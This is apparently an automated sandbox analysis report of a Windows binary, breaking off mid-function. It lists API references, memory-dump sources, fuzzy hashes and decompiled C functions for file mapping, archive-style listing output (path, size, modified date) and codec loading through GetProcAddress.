0x0123c99d
0x0123c9a0
0x0123c9e1
0x0123c9e1
0x0123c9e4
0x0123c9e7
0x0123ca09
0x0123ca10
0x0123ca19
0x0123ca1d
0x0123ca22
0x0123c9e9
0x0123c9e9
0x0123c9f0
0x0123c9f9
0x0123c9fd
0x0123ca02
0x0123ca02
0x00000000
0x0123c9e7
0x0123c9a2
0x0123c9a2
0x0123c9a5
0x0123c9a5
0x0123c9a8
0x0123c9a8
0x0123c9ab
0x0123c9ae
0x0123c9d5
0x0123c9b0
0x0123c9bf
0x0123c9c4
0x0123c9c7
0x0123c9cb
0x0123c9cb
0x0123c9db
0x0123c9dc
0x0123c9dc
0x0123c9dc
0x0123c9df
0x0123c9df
0x00000000
0x0123c9df
0x0123c975
0x0123c97c
0x0123c985
0x0123c989
0x0123c98e
0x00000000
0x0123c98e
0x0123c947
0x0123c94b
0x0123c950
0x00000000
0x0123c90e
0x0123c90e
0x0123c914
0x0123c916
0x00000000
0x00000000
0x0123c91b
0x0123c91f
0x0123c924
0x0123ca2b
0x0123ca2b
0x0123ca2b
0x0123ca2b
0x0123ca32
0x0123ca37
0x0123ca3a
0x0123ca48
0x0123ca50
0x0123ca50
0x0123c90c
0x0123c8c2
0x0123c86b
0x0123c86b
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0123C83D
OpenFileMappingW.KERNEL32(00000004,00000000,?,?,?,00000000,?), ref: 0123C901
GetLastError.KERNEL32(?,00000000,?), ref: 0123C90E

Strings

MapViewOfFile error, xrefs: 0123C950
Can not open mapping, xrefs: 0123C924
Map data error, xrefs: 0123CA02
Unsupported Map data, xrefs: 0123C98E
Unsupported Map data size, xrefs: 0123CA26

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorFileH_prologLastMappingOpen
String ID: Can not open mapping$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
API String ID: 2221086200-220075109
Opcode ID: 95302b19a539313a6fa524320096794c2dcad1aa295e9d22eeaab01aee71a510
Instruction ID: cf260378d5c88d30c7eea5b47c55b68b2dfe790d25c41a20a7f108b6a49af1fd
Opcode Fuzzy Hash: 95302b19a539313a6fa524320096794c2dcad1aa295e9d22eeaab01aee71a510
Instruction Fuzzy Hash: B7518BB1C2125ADECB11EFA4D884AFDBBB4FFA4314F10845AD50277290DB705E96CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125A9BE Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0125A9BE(struct _IO_FILE** __ecx, void* __edx) {
				signed int _t19;
				void* _t32;
				signed int* _t33;
				struct _IO_FILE** _t48;
				void* _t53;
				void* _t55;
				void* _t57;

				_t45 = __edx;
				E012639E0(0x12670b4, _t53);
				_t48 = __ecx;
				_t32 = __edx;
				fputs( *0x126aa98,  *__ecx);
				fputs("Path:     ",  *_t48);
				_t57 = _t55 - 0x4c + 0x10;
				_push(_t32);
				E01231E60(_t48, _t45);
				_t19 = E01231CAE(_t48);
				_t33 =  *(_t53 + 0xc);
				if(_t33 != 0) {
					_t19 =  *_t33 & _t33[1];
					if(_t19 != 0xffffffff) {
						E0123232F(_t53 - 0x18);
						 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
						E0125A4C9(_t53 - 0x18,  *_t33, _t33[1]);
						fputs( *0x126aa98,  *_t48);
						fputs("Size:     ",  *_t48);
						fputs( *(_t53 - 0x18),  *_t48);
						_t57 = _t57 + 0x18;
						_t19 = E01231ABD(E01231CAE(_t48),  *(_t53 - 0x18));
					}
				}
				_t38 =  *((intOrPtr*)(_t53 + 8));
				if( *((intOrPtr*)(_t53 + 8)) != 0) {
					_t19 = E0123826A(_t38, _t53 - 0x58, 0);
					if(_t19 != 0) {
						fputs( *0x126aa98,  *_t48);
						fputs("Modified: ",  *_t48);
						fputs(_t53 - 0x58,  *_t48);
						_t19 = E01231CAE(_t48);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t19;
			}

0x0125a9be
0x0125a9c3
0x0125a9d4
0x0125a9d6
0x0125a9e0
0x0125a9e9
0x0125a9eb
0x0125a9f0
0x0125a9f1
0x0125a9f8
0x0125a9fd
0x0125aa02
0x0125aa06
0x0125aa0c
0x0125aa11
0x0125aa19
0x0125aa22
0x0125aa2f
0x0125aa38
0x0125aa3f
0x0125aa41
0x0125aa4e
0x0125aa53
0x0125aa0c
0x0125aa54
0x0125aa59
0x0125aa60
0x0125aa67
0x0125aa71
0x0125aa7a
0x0125aa82
0x0125aa89
0x0125aa89
0x0125aa67
0x0125aa94
0x0125aa9c

APIs

__EH_prolog.LIBCMT ref: 0125A9C3
fputs.MSVCRT ref: 0125A9E0
fputs.MSVCRT ref: 0125A9E9

Part of subcall function 01231E60: __EH_prolog.LIBCMT ref: 01231E65

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

fputs.MSVCRT ref: 0125AA2F
fputs.MSVCRT ref: 0125AA38
fputs.MSVCRT ref: 0125AA3F

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

fputs.MSVCRT ref: 0125AA71
fputs.MSVCRT ref: 0125AA7A
fputs.MSVCRT ref: 0125AA82

Strings

Modified: , xrefs: 0125AA75
Size: , xrefs: 0125AA33
Path: , xrefs: 0125A9E4

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog$fputcfree
String ID: Modified: $Path: $Size:
API String ID: 2632947726-3207571042
Opcode ID: d4f54522fb8ff7596c3915db864f42b94be79633291d1b485d57f1a8631906c1
Instruction ID: 3d3a0350eddfcd8469c70fd1da77e9e99911027fb010f4d1eb2256055a0e9156
Opcode Fuzzy Hash: d4f54522fb8ff7596c3915db864f42b94be79633291d1b485d57f1a8631906c1
Instruction Fuzzy Hash: 4621B031A2010AEBCF16ABA5CDC19AEBF37EF84310F04411AE904671A4EB314871DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0125C520 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 323
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0125C520(intOrPtr* __ecx) {
				signed int _t131;
				signed int _t136;
				intOrPtr* _t137;
				intOrPtr _t138;
				int _t143;
				int _t156;
				signed int _t162;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr* _t169;
				intOrPtr* _t173;
				signed int _t181;
				signed int _t198;
				char* _t200;
				void* _t201;
				char* _t202;
				signed int _t204;
				signed int _t208;
				signed short _t214;
				struct _IO_FILE** _t219;
				intOrPtr _t253;
				intOrPtr* _t266;
				intOrPtr _t267;
				intOrPtr _t268;
				char* _t269;
				intOrPtr _t270;
				char** _t271;
				intOrPtr* _t274;
				void* _t276;

				E012639E0(0x12671f4, _t276);
				 *(_t276 - 0x10) =  *(_t276 - 0x10) & 0x00000000;
				 *(_t276 - 0x1c) =  *(_t276 - 0x1c) & 0x00000000;
				_t274 = __ecx;
				_t198 =  *((intOrPtr*)(__ecx + 0x10));
				 *((char*)(_t276 - 0x14)) = _t198;
				if( *((intOrPtr*)(__ecx + 4)) <= 0) {
					L68:
					E01231CAE(0x1274440);
					_t131 = 0;
					L69:
					 *[fs:0x0] =  *((intOrPtr*)(_t276 - 0xc));
					return _t131;
				} else {
					goto L1;
				}
				do {
					L1:
					_t266 =  *((intOrPtr*)( *_t274 +  *(_t276 - 0x1c) * 4));
					if(_t198 != 0) {
						__eflags =  *(_t266 + 0x18);
						if( *(_t266 + 0x18) == 0) {
							_push( *((intOrPtr*)(_t266 + 8)));
							E01231CC1(0x1274440);
						} else {
							fputs( *(_t266 + 0x14),  *0x1274440);
						}
					} else {
						E0125C9A5(_t276 +  *(_t276 - 0x10) - 0xc4,  *((intOrPtr*)(_t266 + 0x28)));
						 *(_t276 - 0x10) =  *(_t276 - 0x10) +  *((intOrPtr*)(_t266 + 0x28));
					}
					_t253 =  *_t266;
					if(_t253 != 3) {
						__eflags =  *((char*)(_t266 + 4));
						 *((intOrPtr*)(_t276 - 0x30)) =  *((intOrPtr*)(_t266 + 0x2c));
						if( *((char*)(_t266 + 4)) == 0) {
							_t214 = 0;
							 *((short*)(_t276 - 0x2c)) = 0;
							 *((short*)(_t276 - 0x2a)) = 0;
							 *(_t276 - 0x24) = 0;
							 *(_t276 - 4) = 1;
							_t136 = _t253 - 7;
							__eflags = _t136;
							if(_t136 == 0) {
								_t137 =  *((intOrPtr*)(_t276 + 0xc));
								__eflags =  *((char*)(_t137 + 8));
								if( *((char*)(_t137 + 8)) == 0) {
									L39:
									_t138 =  *_t266;
									__eflags = _t138 - 9;
									if(_t138 != 9) {
										L45:
										__eflags = _t214;
										if(_t214 != 0) {
											__eflags = _t214 - 0x40;
											if(_t214 != 0x40) {
												__eflags = _t214 - 8;
												if(_t214 != 8) {
													E012537E5(_t276 - 0x104, _t276 - 0x2c, _t138, 0);
													__eflags =  *((char*)(_t276 - 0x14));
													if( *((char*)(_t276 - 0x14)) == 0) {
														_t200 = _t276 +  *(_t276 - 0x10) - 0xc4;
														E0125CA20(_t200,  *((intOrPtr*)(_t266 + 0x24)),  *((intOrPtr*)(_t276 - 0x30)), _t276 - 0x104);
														_t143 = strlen(_t200);
														L62:
														_t115 = _t276 - 0x10;
														 *_t115 =  *(_t276 - 0x10) + _t143;
														__eflags =  *_t115;
														L63:
														_t117 = _t276 - 4;
														 *_t117 =  *(_t276 - 4) | 0xffffffff;
														__eflags =  *_t117;
														E01238173(_t276 - 0x2c);
														L64:
														_t198 =  *((intOrPtr*)(_t276 - 0x14));
														__eflags = _t198;
														if(_t198 == 0) {
															goto L67;
														}
														_t219 = 0x1274440;
														goto L66;
													}
													fputs(_t276 - 0x104,  *0x1274440);
													L52:
													goto L63;
												}
												_t201 = _t274 + 0x2c;
												E01232B37(_t138, _t201,  *(_t276 - 0x24));
												E01231DE0(0x1274440, _t201);
												__eflags =  *((char*)(_t276 - 0x14));
												_push(_t274 + 0x20);
												_push(_t201);
												if( *((char*)(_t276 - 0x14)) == 0) {
													E0125C9D1( *((intOrPtr*)(_t266 + 0x24)),  *((intOrPtr*)(_t276 - 0x30)));
												} else {
													E01231D87(0x1274440);
												}
												goto L63;
											}
											_t202 = _t276 +  *(_t276 - 0x10) - 0xc4;
											E0125CA8D(_t202, _t276 - 0x24);
											__eflags =  *((char*)(_t276 - 0x14));
											if( *((char*)(_t276 - 0x14)) == 0) {
												_t156 = strlen(_t202);
												_t267 =  *((intOrPtr*)(_t266 + 0x2c));
												 *(_t276 - 0x10) =  *(_t276 - 0x10) + _t156;
												__eflags = _t156 - _t267;
												if(_t156 >= _t267) {
													goto L63;
												}
												_t268 = _t267 - _t156;
												L48:
												E0125C9A5(_t276 +  *(_t276 - 0x10) - 0xc4, _t268);
												 *(_t276 - 0x10) =  *(_t276 - 0x10) + _t268;
												goto L63;
											}
											fputs(_t202,  *0x1274440);
											goto L52;
										}
										__eflags =  *((intOrPtr*)(_t276 - 0x14)) - _t214;
										if( *((intOrPtr*)(_t276 - 0x14)) != _t214) {
											goto L63;
										}
										_t268 =  *((intOrPtr*)(_t276 - 0x30));
										goto L48;
									}
									__eflags = _t214;
									if(_t214 == 0) {
										L42:
										_t269 = _t276 +  *(_t276 - 0x10) - 0xc4;
										asm("sbb ecx, ecx");
										E0125C929( ~_t214 &  *(_t276 - 0x24),  *((intOrPtr*)(_t274 + 0x38)),  *((intOrPtr*)(_t276 - 0x14)), _t269);
										__eflags =  *((char*)(_t276 - 0x14));
										if( *((char*)(_t276 - 0x14)) == 0) {
											_t143 = strlen(_t269);
											goto L62;
										}
										fputs(_t269,  *0x1274440);
										goto L52;
									}
									__eflags = _t214 - 0x13;
									if(_t214 != 0x13) {
										goto L45;
									}
									goto L42;
								}
								_push( *((intOrPtr*)(_t137 + 4)));
								_push( *_t137);
								L37:
								E012380CE(_t276 - 0x2c);
								L38:
								_t214 =  *((intOrPtr*)(_t276 - 0x2c));
								goto L39;
							}
							_t162 = _t136 - 1;
							__eflags = _t162;
							if(_t162 == 0) {
								_t163 =  *((intOrPtr*)(_t276 + 0xc));
								__eflags =  *((char*)(_t163 + 0x18));
								if( *((char*)(_t163 + 0x18)) == 0) {
									goto L39;
								}
								_push( *((intOrPtr*)(_t163 + 0x14)));
								_push( *((intOrPtr*)(_t163 + 0x10)));
								goto L37;
							}
							__eflags = _t162 == 4;
							if(_t162 == 4) {
								_t165 =  *((intOrPtr*)(_t276 + 0xc));
								__eflags =  *((char*)(_t165 + 0x28));
								if( *((char*)(_t165 + 0x28)) == 0) {
									goto L39;
								}
								E012380F5(_t276 - 0x2c, _t165 + 0x20);
								goto L38;
							}
							_t169 =  *((intOrPtr*)( *((intOrPtr*)(_t274 + 0xc))));
							_t204 =  *((intOrPtr*)( *_t169 + 0x18))(_t169,  *((intOrPtr*)(_t276 + 8)), _t253, _t276 - 0x2c);
							__eflags = _t204;
							if(_t204 != 0) {
								E01238173(_t276 - 0x2c);
								_t131 = _t204;
								goto L69;
							}
							goto L38;
						}
						_t173 =  *((intOrPtr*)( *((intOrPtr*)(_t274 + 0xc)) + 8));
						_t131 =  *((intOrPtr*)( *_t173 + 0x10))(_t173,  *((intOrPtr*)(_t276 + 8)), _t253, _t276 - 0x34, _t276 - 0x18, _t276 - 0x38);
						__eflags = _t131;
						if(_t131 != 0) {
							goto L69;
						}
						_t261 =  *(_t276 - 0x18);
						__eflags =  *(_t276 - 0x18);
						if( *(_t276 - 0x18) == 0) {
							goto L64;
						}
						_t270 =  *_t266;
						_t208 = 1;
						__eflags = _t270 - 0x3e;
						if(_t270 != 0x3e) {
							__eflags = _t270 - 0x59;
							if(_t270 != 0x59) {
								L22:
								__eflags =  *((intOrPtr*)(_t276 - 0x38)) - 1;
								if( *((intOrPtr*)(_t276 - 0x38)) != 1) {
									L70:
									_t131 = 0x80004005;
									goto L69;
								}
								__eflags =  *(_t276 - 0x18) - 0x40;
								if( *(_t276 - 0x18) <= 0x40) {
									E0125CAA7(_t276 - 0x188,  *((intOrPtr*)(_t276 - 0x34)),  *(_t276 - 0x18));
									fputs(_t276 - 0x188,  *0x1274440);
									L17:
									goto L64;
								}
								fputs("data:",  *0x1274440);
								E01231F1E(0x1274440,  *(_t276 - 0x18));
								goto L64;
							}
							E012328E9(_t276 - 0x44);
							 *(_t276 - 4) =  *(_t276 - 4) & 0x00000000;
							_push(_t276 - 0x44);
							_t181 = E01253D0B( *((intOrPtr*)(_t276 - 0x34)),  *(_t276 - 0x18), __eflags);
							__eflags = _t181;
							if(_t181 != 0) {
								_t208 = 0;
								__eflags = 0;
								_t181 = E01231D87(0x1274440, _t276 - 0x44, _t274 + 0x20);
							}
							 *(_t276 - 4) =  *(_t276 - 4) | 0xffffffff;
							E01231ABD(_t181,  *((intOrPtr*)(_t276 - 0x44)));
							__eflags = _t208;
							if(_t208 == 0) {
								goto L64;
							} else {
								goto L22;
							}
						}
						__eflags =  *((intOrPtr*)(_t276 - 0x38)) - 1;
						if( *((intOrPtr*)(_t276 - 0x38)) != 1) {
							goto L70;
						}
						_t271 = _t274 + 0x20;
						E0125392B( *((intOrPtr*)(_t276 - 0x34)), _t261, _t271);
						fputs( *_t271,  *0x1274440);
						goto L17;
					} else {
						if(_t198 == 0) {
							fputs(_t276 - 0xc4,  *0x1274440);
						}
						E01231E25(0x1274440, _t274 + 0x14, _t274 + 0x2c, _t274 + 0x20);
						if(_t198 != 0) {
							_t219 = 0x1274440;
							L66:
							E01231CAE(_t219);
						}
					}
					L67:
					 *(_t276 - 0x1c) =  *(_t276 - 0x1c) + 1;
				} while ( *(_t276 - 0x1c) <  *((intOrPtr*)(_t274 + 4)));
				goto L68;
			}

0x0125c525
0x0125c530
0x0125c534
0x0125c53a
0x0125c540
0x0125c545
0x0125c548
0x0125c8f9
0x0125c8fe
0x0125c903
0x0125c905
0x0125c90b
0x0125c913
0x00000000
0x00000000
0x00000000
0x0125c54e
0x0125c54e
0x0125c555
0x0125c558
0x0125c574
0x0125c578
0x0125c58e
0x0125c596
0x0125c57a
0x0125c584
0x0125c58b
0x0125c55a
0x0125c567
0x0125c56f
0x0125c56f
0x0125c59b
0x0125c5a0
0x0125c5e5
0x0125c5e9
0x0125c5ec
0x0125c6fa
0x0125c6fc
0x0125c700
0x0125c704
0x0125c709
0x0125c710
0x0125c710
0x0125c713
0x0125c764
0x0125c767
0x0125c76b
0x0125c77e
0x0125c77e
0x0125c780
0x0125c783
0x0125c7c3
0x0125c7c3
0x0125c7c6
0x0125c7ed
0x0125c7f1
0x0125c83a
0x0125c83e
0x0125c888
0x0125c88d
0x0125c891
0x0125c8ab
0x0125c8be
0x0125c8c4
0x0125c8c4
0x0125c8c9
0x0125c8c9
0x0125c8c9
0x0125c8cd
0x0125c8cd
0x0125c8cd
0x0125c8cd
0x0125c8d4
0x0125c8d9
0x0125c8d9
0x0125c8dc
0x0125c8de
0x00000000
0x00000000
0x0125c8e0
0x00000000
0x0125c8e0
0x0125c814
0x0125c814
0x00000000
0x0125c81b
0x0125c843
0x0125c848
0x0125c853
0x0125c858
0x0125c85f
0x0125c860
0x0125c861
0x0125c875
0x0125c863
0x0125c868
0x0125c868
0x00000000
0x0125c861
0x0125c7f9
0x0125c802
0x0125c807
0x0125c80b
0x0125c822
0x0125c827
0x0125c82a
0x0125c82d
0x0125c830
0x00000000
0x00000000
0x0125c836
0x0125c7d4
0x0125c7e0
0x0125c7e5
0x00000000
0x0125c7e5
0x0125c814
0x00000000
0x0125c814
0x0125c7c8
0x0125c7cb
0x00000000
0x00000000
0x0125c7d1
0x00000000
0x0125c7d1
0x0125c785
0x0125c788
0x0125c790
0x0125c799
0x0125c7a4
0x0125c7a9
0x0125c7ae
0x0125c7b2
0x0125c8c4
0x00000000
0x0125c8c4
0x0125c814
0x00000000
0x0125c814
0x0125c78a
0x0125c78e
0x00000000
0x00000000
0x00000000
0x0125c78e
0x0125c76d
0x0125c770
0x0125c772
0x0125c775
0x0125c77a
0x0125c77a
0x00000000
0x0125c77a
0x0125c715
0x0125c715
0x0125c716
0x0125c753
0x0125c756
0x0125c75a
0x00000000
0x00000000
0x0125c75c
0x0125c75f
0x00000000
0x0125c75f
0x0125c718
0x0125c71b
0x0125c73c
0x0125c73f
0x0125c743
0x00000000
0x00000000
0x0125c74c
0x00000000
0x0125c74c
0x0125c725
0x0125c730
0x0125c732
0x0125c734
0x0125c920
0x0125c925
0x00000000
0x0125c925
0x00000000
0x0125c73a
0x0125c5fc
0x0125c60b
0x0125c60e
0x0125c610
0x00000000
0x00000000
0x0125c616
0x0125c619
0x0125c61b
0x00000000
0x00000000
0x0125c621
0x0125c623
0x0125c625
0x0125c628
0x0125c655
0x0125c658
0x0125c6a2
0x0125c6a2
0x0125c6a6
0x0125c916
0x0125c916
0x00000000
0x0125c916
0x0125c6ac
0x0125c6b0
0x0125c6e3
0x0125c648
0x0125c648
0x00000000
0x0125c64f
0x0125c6bd
0x0125c6cd
0x00000000
0x0125c6cd
0x0125c65d
0x0125c668
0x0125c66f
0x0125c670
0x0125c675
0x0125c677
0x0125c686
0x0125c686
0x0125c688
0x0125c688
0x0125c690
0x0125c694
0x0125c699
0x0125c69c
0x00000000
0x00000000
0x00000000
0x00000000
0x0125c69c
0x0125c62a
0x0125c62e
0x00000000
0x00000000
0x0125c637
0x0125c63b
0x0125c648
0x00000000
0x0125c5a2
0x0125c5a4
0x0125c5b3
0x0125c5ba
0x0125c5ce
0x0125c5d5
0x0125c5db
0x0125c8e5
0x0125c8e5
0x0125c8e5
0x0125c5d5
0x0125c8ea
0x0125c8ea
0x0125c8f0
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0125C525
fputs.MSVCRT ref: 0125C584
fputs.MSVCRT ref: 0125C5B3
fputs.MSVCRT ref: 0125C648
fputs.MSVCRT ref: 0125C6BD
fputs.MSVCRT ref: 0125C814

Strings

@, xrefs: 0125C6AC
data:, xrefs: 0125C6B8
F#v, xrefs: 0125C591, 0125C5BE, 0125C67C, 0125C6C8, 0125C84E, 0125C863, 0125C8E0, 0125C8F9

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: F#v$@$data:
API String ID: 2614055831-3657076849
Opcode ID: f678769402e762cf85d3afd2285a1e474bc94789c58de883cf667219b596e26b
Instruction ID: 5e7462cedd630a0f3f077dd917bb5da1c0b2634b39d708ffc3cd8e5b93b275d3
Opcode Fuzzy Hash: f678769402e762cf85d3afd2285a1e474bc94789c58de883cf667219b596e26b
Instruction Fuzzy Hash: 90C1A17192030ADFDB55EBA8D8D8AFEB7B9FF48314F104559EA02A3250E730A964CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0124B2E8 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0124B2E8(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v32;
				char _v48;
				char _v51;
				char _v52;
				signed int _v56;
				void _v60;
				void _v104;
				void* __edi;
				void* __ebp;
				struct HINSTANCE__* _t63;
				_Unknown_base(*)()* _t64;
				void* _t66;
				intOrPtr _t68;
				signed int _t70;
				signed int _t71;
				_Unknown_base(*)()* _t72;
				void* _t84;
				struct HINSTANCE__** _t86;
				struct HINSTANCE__** _t87;
				struct HINSTANCE__* _t88;
				signed int _t94;
				signed int _t97;
				signed int _t100;
				intOrPtr _t103;
				intOrPtr _t106;
				intOrPtr* _t116;
				intOrPtr* _t118;
				void* _t121;

				_t106 = __ecx;
				_v12 = __ecx;
				_t86 =  *( *((intOrPtr*)(__ecx + 0xc)) +  *(__ecx + 0x10) * 4 - 4);
				_t86[6] = GetProcAddress( *_t86, "CreateDecoder");
				_t86[7] = GetProcAddress( *_t86, "CreateEncoder");
				_t63 = GetProcAddress( *_t86, "GetMethodProperty");
				_t86[5] = _t63;
				if(_t63 == 0) {
					L10:
					_t64 = GetProcAddress( *_t86, "GetHashers");
					if(_t64 == 0) {
						L16:
						return 0;
					}
					_t87 =  &(_t86[9]);
					_t66 =  *_t64(_t87);
					if(_t66 == 0) {
						_t88 =  *_t87;
						if(_t88 == 0) {
							goto L16;
						}
						_t68 =  *((intOrPtr*)(_t88->i + 0xc))(_t88);
						_v16 = _v16 & 0x00000000;
						_v12 = _t68;
						if(_t68 <= 0) {
							goto L16;
						}
						_t47 = _t106 + 0x40; // 0x40
						_t116 = _t47;
						do {
							E0124CD07(_t116);
							_t94 =  *(_t116 + 4);
							_t103 =  *_t116;
							_t70 = _v16;
							 *((intOrPtr*)(_t103 + _t94 * 8)) =  *((intOrPtr*)(_t106 + 0x10)) - 1;
							 *((intOrPtr*)(_t103 + 4 + _t94 * 8)) = _t70;
							 *(_t116 + 4) =  *(_t116 + 4) + 1;
							_t71 = _t70 + 1;
							_v16 = _t71;
						} while (_t71 < _v12);
						goto L16;
					}
				} else {
					_v16 = 1;
					_t72 = GetProcAddress( *_t86, "GetNumberOfMethods");
					if(_t72 == 0) {
						L3:
						_v8 = _v8 & 0x00000000;
						if(_v16 <= 0) {
							goto L10;
						} else {
							while(1) {
								_v60 =  *((intOrPtr*)(_t106 + 0x10)) - 1;
								_push( &_v52);
								_push( &_v48);
								_push(3);
								_v56 = _v8;
								_t66 = E0124B452(_t86[5], _v8, _t106);
								if(_t66 != 0) {
									goto L17;
								}
								_push( &_v51);
								_push( &_v32);
								_push(2);
								_t66 = E0124B452(_t86[5], _v8, _t106);
								if(_t66 == 0) {
									_t97 = 0xb;
									_t31 = memcpy( &_v104,  &_v60, _t97 << 2) + 0x34; // 0x34
									_t118 = _t31;
									E0124CCB3(_t118);
									_t100 = 0xb;
									_t84 = memcpy( *(_t118 + 4) * 0x2c +  *_t118,  &_v104, _t100 << 2);
									_t121 = _t121 + 0x18;
									 *((intOrPtr*)(_t84 + 4)) =  *((intOrPtr*)(_t84 + 4)) + 1;
									_v8 = _v8 + 1;
									if(_v8 < _v16) {
										_t106 = _v12;
										continue;
									} else {
										_t106 = _v12;
										goto L10;
									}
								}
								goto L17;
							}
						}
					} else {
						_t66 =  *_t72( &_v16);
						if(_t66 == 0) {
							goto L3;
						}
					}
				}
				L17:
				return _t66;
			}

0x0124b2f1
0x0124b304
0x0124b307
0x0124b314
0x0124b320
0x0124b325
0x0124b329
0x0124b32c
0x0124b3f4
0x0124b3fb
0x0124b3ff
0x0124b44b
0x00000000
0x0124b44b
0x0124b401
0x0124b405
0x0124b409
0x0124b40b
0x0124b40f
0x00000000
0x00000000
0x0124b414
0x0124b417
0x0124b41b
0x0124b420
0x00000000
0x00000000
0x0124b422
0x0124b422
0x0124b425
0x0124b42b
0x0124b430
0x0124b433
0x0124b435
0x0124b438
0x0124b43b
0x0124b43f
0x0124b442
0x0124b446
0x0124b446
0x00000000
0x0124b425
0x0124b332
0x0124b337
0x0124b340
0x0124b344
0x0124b354
0x0124b354
0x0124b35c
0x00000000
0x0124b362
0x0124b367
0x0124b371
0x0124b377
0x0124b37b
0x0124b37c
0x0124b37e
0x0124b381
0x0124b388
0x00000000
0x00000000
0x0124b397
0x0124b39b
0x0124b39c
0x0124b39e
0x0124b3a5
0x0124b3b0
0x0124b3b9
0x0124b3b9
0x0124b3be
0x0124b3d0
0x0124b3d7
0x0124b3d7
0x0124b3d9
0x0124b3dc
0x0124b3e5
0x0124b364
0x00000000
0x0124b3eb
0x0124b3f1
0x00000000
0x0124b3f1
0x0124b3e5
0x00000000
0x0124b3a5
0x0124b367
0x0124b346
0x0124b34a
0x0124b34e
0x00000000
0x00000000
0x0124b34e
0x0124b344
0x0124b451
0x0124b451

APIs

GetProcAddress.KERNEL32(00000004,CreateDecoder), ref: 0124B30D
GetProcAddress.KERNEL32(00000004,CreateEncoder), ref: 0124B319
GetProcAddress.KERNEL32(00000004,GetMethodProperty), ref: 0124B325
GetProcAddress.KERNEL32(00000004,GetNumberOfMethods), ref: 0124B340
GetProcAddress.KERNEL32(00000004,GetHashers), ref: 0124B3FB

Strings

GetMethodProperty, xrefs: 0124B31B
Nqt, xrefs: 0124B3EB
GetNumberOfMethods, xrefs: 0124B332
CreateDecoder, xrefs: 0124B2F9
GetHashers, xrefs: 0124B3F4
CreateEncoder, xrefs: 0124B30F

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressProc
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods$Nqt
API String ID: 190572456-3513983076
Opcode ID: 628621c13def165ac368a7db43a23caa05d1e3d0b619e5f862150446240f3308
Instruction ID: 701bfb45b6cb7a14db0a08074eeab852757381729e24587d1d0e974549827661
Opcode Fuzzy Hash: 628621c13def165ac368a7db43a23caa05d1e3d0b619e5f862150446240f3308
Instruction Fuzzy Hash: 5B415E72A1020AEFDF14CFA9D990AAEBBF9FF44714F104056D911AB241DB70EA55CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01260C38 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01260C38(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				intOrPtr _v8;
				void* __ecx;
				struct _IO_FILE** _t34;
				struct _IO_FILE** _t42;
				struct _IO_FILE** _t45;
				signed int _t52;
				char* _t56;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t73;
				intOrPtr _t75;
				struct _IO_FILE** _t81;
				intOrPtr _t86;
				void* _t90;
				void* _t91;
				void* _t93;

				_t90 = __eflags;
				_t69 = __edx;
				_push(_t56);
				_push(_t56);
				_t81 =  *0x12746fc; // 0x1274440
				E01231CAE(_t81);
				fputs(_t56,  *_t81);
